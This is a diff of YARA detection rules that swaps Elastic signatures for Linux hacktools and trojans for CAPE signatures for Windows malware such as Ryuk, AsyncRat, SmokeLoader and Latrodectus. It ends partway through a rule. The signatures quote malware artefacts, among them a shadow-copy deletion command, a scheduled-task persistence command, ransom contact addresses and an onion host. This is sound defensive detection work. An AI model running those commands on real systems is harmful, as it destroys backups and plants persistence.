+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Hermes.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "9bc974173f39a57e7adfbf8ae106a20d960557696b4c3ce16e9b4e47d3e9e95b"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "63b77999860534b71b7b4e7b3da9df175ccd0009f4c13215a59c6b83e0e95b3b"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Hermes Payload"
 
 	strings:
-		$a1 = "BTRESULTHTTP Flood|Http Flood task finished!|" ascii fullword
-		$a2 = "is now open!|" ascii fullword
-		$a3 = "ActiveOnlineKeylogger" ascii fullword
-		$a4 = "#BOT#RunPrompt" ascii fullword
-		$a5 = "GETMONITORS" ascii fullword
+		$ext = ".HRM" wide
+		$vss = "vssadmin Delete"
+		$email = "supportdecrypt@firemail.cc" wide
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of ($*)
 }
-rule ELASTIC_Linux_Hacktool_Earthworm_4De7B584 : FILE MEMORY
+rule CAPE_Asyncrat : FILE
 {
 	meta:
-		description = "Detects Linux Hacktool Earthworm (Linux.Hacktool.Earthworm)"
-		author = "Elastic Security"
-		id = "4de7b584-d25f-414b-bdd5-45f3672a62d8"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Earthworm.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9d61aabcf935121b4f7fc6b0d082d7d6c31cb43bf253a8603dd46435e66b7955"
-		logic_hash = "019b2504df192e673f96a86464bb5e8ba5e89190e51bfe7d702753f76c00b979"
+		description = "AsyncRat Payload"
+		author = "kevoreilly, JPCERT/CC Incident Response Group"
+		id = "478557fa-2418-5b13-99d9-2395ce83b9a2"
+		date = "2024-05-23"
+		modified = "2024-05-23"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/AsyncRat.yar#L1-L17"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "8f960131bb86e1c09127324bd5877364ab25e0cb37f5f9755230c7fed9094de3"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY"
-		fingerprint = "af2dc166ad5bbd3e312338a3932134c33c33c124551e7828eeef299d89419d21"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 66
+		tags = "FILE"
+		cape_type = "AsyncRat Payload"
 
 	strings:
-		$a = { 73 6F 63 6B 73 64 20 2C 20 72 63 73 6F 63 6B 73 20 2C 20 72 73 }
+		$salt = {BF EB 1E 56 FB CD 97 3B B2 19 02 24 30 A5 78 43 00 3D 56 44 D2 1E 62 B9 D4 F1 80 E7 E6 C3 39 41}
+		$b1 = {00 00 00 0D 53 00 48 00 41 00 32 00 35 00 36 00 00}
+		$b2 = {09 50 00 6F 00 6E 00 67 00 00}
+		$string1 = "Pastebin" ascii wide nocase
+		$string2 = "Pong" wide
+		$string3 = "Stub.exe" ascii wide
+		$kitty = "StormKitty" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and not $kitty and ($salt and (2 of ($str*) or 1 of ($b*))) or ( all of ($b*) and 2 of ($str*))
 }
-rule ELASTIC_Linux_Hacktool_Earthworm_E3Da43E2 : FILE MEMORY
+rule CAPE_Asyncrat_Kingrat
 {
 	meta:
-		description = "Detects Linux Hacktool Earthworm (Linux.Hacktool.Earthworm)"
-		author = "Elastic Security"
-		id = "e3da43e2-1737-4c51-af6c-7c64d9cbfb07"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Earthworm.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "da0cffc4222d11825778fe4fa985fef2945caa0cc3b4de26af0a06509ebafb21"
-		logic_hash = "b129b7060b6af4ff2aae2678a455b969579132891fba44e4fdc2481a5437bdf9"
-		score = 60
-		quality = 45
-		tags = "FILE, MEMORY"
-		fingerprint = "fdf19096c6afc1c3be75fe4bb2935aca8ac915c97ad0ab3c2b87e803347cc460"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		description = "No description has been set in the source file - CAPE"
+		author = "jeFF0Falltrades"
+		id = "8fbab9a0-5736-543e-ba7b-c7598190c9e0"
+		date = "2024-05-23"
+		modified = "2024-05-23"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/AsyncRat.yar#L19-L40"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "2699ef93ae10b205b79025098afc1d1cfe7dbdf192f4d98a6e34a8f3de154810"
+		score = 75
+		quality = 62
+		tags = ""
+		cape_type = "AsyncRat Payload"
 
 	strings:
-		$a = { 8D 20 FF FF FF 4C 89 C1 4C 8B 85 20 FF FF FF 49 D3 E0 4C 21 C7 48 83 }
+		$str_async = "AsyncClient" wide ascii nocase
+		$str_aes_exc = "masterKey can not be null or empty" wide ascii
+		$str_schtasks = "schtasks /create /f /sc onlogon /rl highest" wide ascii
+		$dcrat_1 = "dcrat" wide ascii nocase
+		$dcrat_2 = "qwqdan" wide ascii
+		$dcrat_3 = "YW1zaS5kbGw=" wide ascii
+		$dcrat_4 = "VmlydHVhbFByb3RlY3Q=" wide ascii
+		$dcrat_5 = "save_Plugin" wide ascii
+		$byte_aes_key_base = { 7E [3] 04 73 [3] 06 80 }
+		$byte_aes_salt_base = { BF EB 1E 56 FB CD 97 3B B2 19 }
+		$patt_verify_hash = { 7e [3] 04 6f [3] 0a 6f [3] 0a 74 [3] 01 }
+		$patt_config = { 72 [3] 70 80 [3] 04 }
 
 	condition:
-		all of them
+		( not any of ($dcrat*)) and 6 of them and #patt_config>=10
 }
-rule ELASTIC_Linux_Hacktool_Earthworm_82D5C4Cf : FILE MEMORY
+rule CAPE_Azer : FILE
 {
 	meta:
-		description = "Detects Linux Hacktool Earthworm (Linux.Hacktool.Earthworm)"
-		author = "Elastic Security"
-		id = "82d5c4cf-ab96-4644-b1f3-2e95f1b49e7c"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Earthworm.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dc412d4f2b0e9ca92063a47adfb0657507d3f2a54a415619db5a7ccb59afb204"
-		logic_hash = "81f35293bd3dd0cfbbf67f036773e16625bb74e06320fa1fff5bc428ef2f3a43"
-		score = 60
-		quality = 45
-		tags = "FILE, MEMORY"
-		fingerprint = "400342ab702de1a7ec4dd7e9b415b8823512f74a9abe578f08f7d79265bef385"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		description = "Azer Payload"
+		author = "kevoreilly"
+		id = "4bda70c2-3cd9-543f-92f4-886b7dd899a1"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Azer.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "48bd4a4e071f10d1911c4173a0cd39c69fed7a3b29eb92beffe709899f4cefa5"
+		score = 75
+		quality = 70
+		tags = "FILE"
+		cape_type = "Azer Payload"
 
 	strings:
-		$a = { 89 E5 48 83 EC 20 31 C0 89 C1 48 8D 55 F0 48 89 7D F8 48 8B }
+		$a1 = "webmafia@asia.com" wide
+		$a2 = "INTERESTING_INFORMACION_FOR_DECRYPT.TXT" wide
+		$a3 = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQ"
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and ( all of ($a*))
 }
-rule ELASTIC_Linux_Hacktool_Earthworm_4Ec2Ec63 : FILE MEMORY
+rule CAPE_Latrodectus
 {
 	meta:
-		description = "Detects Linux Hacktool Earthworm (Linux.Hacktool.Earthworm)"
-		author = "Elastic Security"
-		id = "4ec2ec63-6b22-404f-a217-4e7d32bfbe9f"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Earthworm.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dc412d4f2b0e9ca92063a47adfb0657507d3f2a54a415619db5a7ccb59afb204"
-		logic_hash = "25f616c5440a48aef0f824cb6859e88787db4f42c1ec904a3d3bd72f3a64116e"
+		description = "Latrodectus Payload"
+		author = "enzok"
+		id = "5fe6ddad-3252-5f49-9359-bd647b974fe6"
+		date = "2024-08-28"
+		modified = "2024-08-28"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Latrodectus.yar#L1-L16"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		hash = "a547cff9991a713535e5c128a0711ca68acf9298cc2220c4ea0685d580f36811"
+		logic_hash = "2f98d570bf9a490eecd2807599b93023ccacab86f3b7674f0118bbebd4dd2776"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "1dfb594e369ca92a9e3f193499708c4992f6497ff1aa74ae0d6c2475a7e87641"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = ""
+		cape_type = "Latrodectus Payload"
 
 	strings:
-		$a = { 89 E5 48 83 EC 20 BA 04 00 00 00 48 8D 45 F0 48 89 7D F8 89 }
+		$fnvhash1 = {C7 04 24 C5 9D 1C 81 48 8B 44 24 20 48 89 44 24 08}
+		$fnvhash2 = {8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01}
+		$procchk1 = {E8 [3] FF 85 C0 74 [2] FF FF FF FF E9 [4] E8 [4] 89 44 24 ?? E8 [4] 83 F8 4B 73 ?? 83 [3] 06}
+		$procchk2 = {72 [2] FF FF FF FF E9 [4] E8 [4] 83 F8 32 73 ?? 83 [3] 06}
+		$version = {C7 44 2? ?? 0? 00 00 00 C7 44 2? ?? 0? 00 00 00 C7 44 2? ?? 01 00 00 00 8B}
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Ladvix_Db41F9D2 : FILE MEMORY
+rule CAPE_Latrodectus_AES
 {
 	meta:
-		description = "Detects Linux Trojan Ladvix (Linux.Trojan.Ladvix)"
-		author = "Elastic Security"
-		id = "db41f9d2-aa5c-4d26-b8ba-cece44eddca8"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ladvix.yar#L1-L18"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "81642b4ff1b6488098f019c5e992fc942916bc6eb593006cf91e878ac41509d6"
+		description = "Latrodectus Payload"
+		author = "enzok"
+		id = "8a3dd88c-7840-54a3-8844-4e1a38f51df5"
+		date = "2024-08-28"
+		modified = "2024-08-28"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Latrodectus.yar#L18-L34"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		hash = "5cecb26a3f33c24b92a0c8f6f5175da0664b21d7c4216a41694e4a4cad233ca8"
+		logic_hash = "1f00f6f187f15d39a30e15ffd14dae07707141999271ad4ac6a75ff4d93dd54d"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "d0aaa680e81f44cc555bf7799d33fce66f172563788afb2ad0fb16d3e460e8c6"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = ""
+		cape_type = "Latrodectus Payload"
 
 	strings:
-		$a = { C0 49 89 C4 74 45 45 85 ED 7E 26 48 89 C3 41 8D 45 FF 4D 8D 7C }
+		$fnvhash1 = {C7 04 24 C5 9D 1C 81 48 8B 44 24 20 48 89 44 24 08}
+		$fnvhash2 = {8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01}
+		$key = {C6 44 2? ?? ?? [150] C6 44 2? ?? ?? B8 02}
+		$aes_ctr_1 = {8B 44 24 ?? FF C8 89 44 24 ?? 83 7C 24 ?? 00 7C ?? 4? 63 44 24 ?? 4? 8B 4C 24 ?? 0F B6 84 01 F0 00 00 00 3D FF 00 00 00}
+		$aes_ctr_2 = {48 03 C8 48 8B C1 0F B6 ?? 48 63 4C 24 ?? 0F B6 4C 0C ?? 33 C1 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 03 D1 48 8B CA 88 01}
+		$version_1_4 = {C7 44 2? ?? 0? 00 00 00 C7 44 2? ?? 0? 00 00 00 C7 44 2? ?? 01 00 00 00 8B}
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Ladvix_77D184Fd : FILE MEMORY
+rule CAPE_Doppelpaymer : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Ladvix (Linux.Trojan.Ladvix)"
-		author = "Elastic Security"
-		id = "77d184fd-a15e-40e5-ac7e-0d914cc009fe"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ladvix.yar#L20-L38"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1bb44b567b3c82f7ee0e08b16f7326d1af57efe77d608a96b2df43aab5faa9f7"
-		logic_hash = "0ae9c41d3eb7964344f71b9708278a0e83776228e4455cf0ad7c08e288305203"
+		description = "DoppelPaymer Payload"
+		author = "kevoreilly"
+		id = "c8178906-1722-5908-9ad4-7ee1eef39138"
+		date = "2022-06-27"
+		modified = "2022-06-27"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/DoppelPaymer.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "73a2575671bafc31a70af3ce072d6f94ae172b12202baebba586a02524cb6f9d"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "21361ca7c26c98903626d1167747c6fd11a5ae0d6298d2ef86430ce5be0ecd1a"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "DoppelPaymer Payload"
 
 	strings:
-		$a = { 40 10 48 89 45 80 8B 85 64 FF FF FF 48 89 E2 48 89 D3 48 63 D0 48 83 }
+		$getproc32 = {81 FB ?? ?? ?? ?? 74 2D 8B CB E8 ?? ?? ?? ?? 85 C0 74 0C 8B C8 8B D7 E8 ?? ?? ?? ?? 5B 5F C3}
+		$cmd_string = "Setup run\\n" wide
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Linux_Trojan_Ladvix_C9888Edb : FILE MEMORY
+rule CAPE_Fareit : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Ladvix (Linux.Trojan.Ladvix)"
-		author = "Elastic Security"
-		id = "c9888edb-0f82-4c7a-b501-4e4d3c9c64e3"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ladvix.yar#L40-L58"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1d798e9f15645de89d73e2c9d142189d2eaf81f94ecf247876b0b865be081dca"
-		logic_hash = "608f2340b0ee4b843933d8137aa0908583a6de477e6c472fb4bd2e5bb62dfb80"
+		description = "Fareit Payload"
+		author = "kevoreilly"
+		id = "b3c4eb86-d104-5f31-afa4-5bf5f370f64e"
+		date = "2022-06-09"
+		modified = "2022-06-09"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Fareit.yar#L1-L11"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "ed35391ffc949219f380da3f22bc8397a7d5c742bd68e227c3becdebcab5cf83"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "e0e0d75a6de7a11b2391f4a8610a6d7c385df64d43fa1741d7fe14b279e1a29a"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Fareit Payload"
 
 	strings:
-		$a = { E8 01 83 45 E4 01 8B 45 E4 83 F8 57 76 B5 83 45 EC 01 8B 45 EC 48 }
+		$string1 = {0D 0A 09 09 0D 0A 0D 0A 09 20 20 20 3A 6B 74 6B 20 20 20 0D 0A 0D 0A 0D 0A 20 20 20 20 20 64 65 6C 20 20 20 20 09 20 25 31 20 20 0D 0A 09 69 66 20 20 09 09 20 65 78 69 73 74 20 09 20 20 20 25 31 20 20 09 20 20 67 6F 74 6F 20 09 0D 20 6B 74 6B 0D 0A 20 64 65 6C 20 09 20 20 25 30 20 00}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and any of ($string*)
 }
-rule ELASTIC_Linux_Trojan_Ladvix_81Fccd74 : FILE MEMORY
+rule CAPE_Ryuk : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Ladvix (Linux.Trojan.Ladvix)"
-		author = "Elastic Security"
-		id = "81fccd74-465d-4f2e-b879-987bc47828dd"
-		date = "2021-06-28"
-		modified = "2021-09-16"
-		reference = "2a183f613fca5ec30dfd82c9abf72ab88a2c57d2dd6f6483375913f81aa1c5af"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ladvix.yar#L60-L78"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "18f7ca953d22f02c1dbf03595a19b66ea582d2c1623f0042dcf15f86556ca41e"
+		description = "Ryuk Payload"
+		author = "kevoreilly"
+		id = "594bbb8d-1f85-5a01-a864-ac2d95c45bf9"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Ryuk.yar#L1-L14"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "b4463993d8956e402b927a3dcfa2ca9693a959908187f720372f2d3a40e6db0c"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "0e983107f38a6b2a739a44ab4d37c35c5a7d8217713b280a1786511089084a95"
-		severity = "100"
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Ryuk Payload"
 
 	strings:
-		$a = { 45 EA 00 00 48 8D 45 EA 48 8B 55 F0 0F B6 12 88 10 0F B7 45 EA 0F }
+		$ext = ".RYK" wide
+		$readme = "RyukReadMe.txt" wide
+		$main = "InvokeMainViaCRT"
+		$code = {48 8B 4D 10 48 8B 03 48 C1 E8 07 C1 E0 04 F7 D0 33 41 08 83 E0 10 31 41 08 48 8B 4D 10 48 8B 03 48 C1 E8 09 C1 E0 03 F7 D0 33 41 08 83 E0 08 31 41 08}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and 3 of ($*)
 }
-rule ELASTIC_Linux_Trojan_Sysrv_85097F24 : FILE MEMORY
+rule CAPE_Varenyky : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Sysrv (Linux.Trojan.Sysrv)"
-		author = "Elastic Security"
-		id = "85097f24-2e2e-41e4-8769-dca7451649cc"
-		date = "2021-06-28"
-		modified = "2021-09-16"
-		reference = "17fbc8e10dea69b29093fcf2aa018be4d58fe5462c5a0363a0adde60f448fb26"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Sysrv.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "96bee8b9b0e9c2afd684582301f9e110fd08fcabaea798bfb6259a4216f69be1"
+		description = "Varenyky Payload"
+		author = "kevoreilly"
+		id = "e01695fa-72a0-5d8e-86ab-8c909d28b8ec"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Varenyky.yar#L1-L11"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "602f1b8b60b29565eabe2171fde4eb58546af68f8acecad402a7a51ea9a08ed9"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "1cad651c92a163238f8d60d2e3670f229b4aafd6509892b9dcefe014b39c6f7d"
-		severity = "100"
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Varenyky Payload"
 
 	strings:
-		$a = { 32 26 02 0F 80 0C 0A FF 0B 02 02 22 04 2B 02 16 02 1C 01 0C 09 }
+		$onion = "jg4rli4xoagvvmw47fr2bnnfu7t2epj6owrgyoee7daoh4gxvbt3bhyd.onion"
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and ($onion)
 }
-rule ELASTIC_Windows_Vulndriver_Msio_Aa20A3C6 : FILE
+rule CAPE_Smokeloader
 {
 	meta:
-		description = "Detects Windows Vulndriver Msio (Windows.VulnDriver.MsIo)"
-		author = "Elastic Security"
-		id = "aa20a3c6-c07c-49ef-be33-b61e612be42a"
-		date = "2022-04-04"
-		modified = "2022-04-04"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_MsIo.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2270a8144dabaf159c2888519b11b61e5e13acdaa997820c09798137bded3dd6"
-		logic_hash = "3b383934dc91536f69e2c6cb2cf2054c5f8a08766ecf1d1804c57f3a2c39c1c2"
+		description = "SmokeLoader Payload"
+		author = "kevoreilly"
+		id = "a67e2649-72cc-5dea-aea7-8783146d2979"
+		date = "2023-02-06"
+		modified = "2023-02-06"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/SmokeLoader.yar#L1-L14"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "a2ed982f15a6c687da2fdba216868016722825edf7e8ff6a75f24d81af8276bc"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "28136b3928fa2c13dc3950df4b71f01f0d2e3977ca131df425096ec36fe6aad1"
-		severity = 50
-		arch_context = "x86"
-		scan_context = "file"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = ""
+		cape_type = "SmokeLoader Payload"
 
 	strings:
-		$str1 = "\\MsIo32.pdb"
+		$rc4_decrypt64 = {41 8D 41 01 44 0F B6 C8 42 0F B6 [2] 41 8D 04 12 44 0F B6 D0 42 8A [2] 42 88 [2] 42 88 [2] 42 0F B6 [2] 03 CA 0F B6 C1 8A [2] 30 0F 48 FF C7 49 FF CB 75}
+		$rc4_decrypt32 = {47 B9 FF 00 00 00 23 F9 8A 54 [2] 0F B6 C2 03 F0 23 F1 8A 44 [2] 88 44 [2] 88 54 [2] 0F B6 4C [2] 0F B6 C2 03 C8 81 E1 FF 00 00 00 8A 44 [2] 30 04 2B 43 3B 9C 24 [4] 72 C0}
+		$fetch_c2_64 = {00 48 8D 05 [3] FF 48 8B CB 48 8B 14 D0 48 8B 5C 24 ?? 48 83 C4 20 5F E9}
+		$fetch_c2_32 = {8B 96 [2] (00|01) 00 8B CE 5E 8B 14 95 [4] E9}
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		2 of them
 }
-rule ELASTIC_Windows_Vulndriver_Msio_Ce0Bda23 : FILE
+rule CAPE_Azorult : FILE
 {
 	meta:
-		description = "Detects Windows Vulndriver Msio (Windows.VulnDriver.MsIo)"
-		author = "Elastic Security"
-		id = "ce0bda23-087c-49ec-b064-88b1d45e785a"
-		date = "2022-04-04"
-		modified = "2022-04-04"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_MsIo.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "43ba8d96d5e8e54cab59d82d495eeca730eeb16e4743ed134cdd495c51a4fc89"
-		logic_hash = "f7fbe0255a006cce42aff61b294512c11e1cceaf11d5c1b6f75b96fb3b155895"
+		description = "Azorult Payload"
+		author = "kevoreilly"
+		id = "ca76ec00-001f-56d0-bdbc-9dfd3239fba8"
+		date = "2022-06-09"
+		modified = "2022-06-09"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Azorult.yar#L1-L12"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "4691cf48d513d1965416b0cce1b6e19c8f7b393a940afd68b7c6ca8c0d125d90"
 		score = 75
-		quality = 75
+		quality = 70
 		tags = "FILE"
-		fingerprint = "fe0c380dabec41458a5b5e0d7d38a4f9282f1ef87c51addd954da70d7c8ab1f2"
-		severity = 50
-		arch_context = "x86"
-		scan_context = "file"
-		license = "Elastic License v2"
-		os = "windows"
+		cape_type = "Azorult Payload"
 
 	strings:
-		$str1 = "\\MsIo64.pdb"
+		$code1 = {C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 01 00 00 8D 85 00 FE FF FF 89 47 1C C7 47 20 80 00 00 00 8D 85 80 FD FF FF 89 47 24 C7 47 28 80 00 00 00 8D 85 80 F5 FF FF 89 47 2C C7 47 30 00 08 00 00 8D 85 80 F1 FF FF 89 47 34 C7 47 38 00 04 00 00 57 68 00 00 00 90}
